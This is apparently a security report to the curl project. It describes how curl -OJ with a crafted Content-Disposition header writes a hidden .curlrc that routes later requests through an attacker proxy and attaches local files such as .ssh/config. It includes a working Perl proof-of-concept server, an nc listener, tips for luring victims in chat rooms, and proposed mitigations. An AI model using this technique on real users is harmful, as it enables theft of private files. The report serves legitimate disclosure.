curl · Report #3135673
curl -OJ allows creating custom .curlrc file which allows exfiltrating private data, among other things
How it was found
Summary:
If someone convinces someone to use curl -OJ http://example.com/somefile.txt, the Content-Disposition header can be used to create a .curlrc file if one doesn't exist (and one is running curl from the home directory).
From that point on, the attack controls any argument to all curl invocations.
Combine this with the following .curlrc:
proxy = http://attacker-controlled-site.com
data = @/path/to/some/file
And the attacker can read whatever file(s) they wish from the user's system that the user has access to, as any curl request will send that to the proxy.
No AI was used (or ever will be!).
Affected version
git@16db059a93240dd7917728c2db55935f60a150ea
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets
Steps To Reproduce:
Prereq: No existing ~/.curlrc, and running curl from home directory
- Run this perl server in one terminal, the key bit being in responds with an HTTP response like so:
HTTP/1.1 200 Ok
Content-Disposition: filename=.curlrc
proxy = http://localhost:5555
data = @.ssh/config
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);
my $server = IO::Socket->new(
Domain => AF_INET,
Type => SOCK_STREAM,
Proto => 'tcp',
LocalHost => '0.0.0.0',
LocalPort => 3333,
ReusePort => 1,
Listen => 5,
) || die "Can't open socket: $@";
print "Try http://127.0.0.1:3333\n\n";
while (1) {
my $client = $server->accept();
print "Got a client\n";
# Read request and ignore
my $data = "";
$client->recv($data, 1024);
print "Got a request: \n\n" . $data =~ s/^/ /gmr;
$client->send("HTTP/1.1 200 OK\r\n");
$client->send(<<~'EOF');
Content-Disposition: filename=.curlrc
proxy = http://localhost:5555
data = @.ssh/config
EOF
$client->shutdown(SHUT_RDWR);
print "Responded\n\n";
}
- In another terminal, run something to listen on a socket and print out what it sees (bsd nc for example):
nc -klp 5555
- Run the first curl in the home directory which sets up the attack by writing out .curlrc:
curl -OJ localhost:3333
- Run curl again with any http url:
curl google.com
... and you'll see the .ssh/config sent to the nc proxy
Impact
Summary:
This one still requires a little finessing from the attacker but seems much easier to achieve great harm with. You only need convince someone to do curl -OJ http://example.com/some-thing.txt
and then nothing more (and eventually the user may run curl on their own), or when the person says "That didn't work" you can send them "Oh, my mistake, I meant..." and then send them something plausible.
Getting folks to run a curl command is not particularly hard, especially hanging out in chat rooms on IRC, etc.
Mitigation for this one feels like...
- Curl shouldn't write hidden files with -J
- Curl with -J should maybe state what filename was written out
- -J's documentation should provide a harsher warning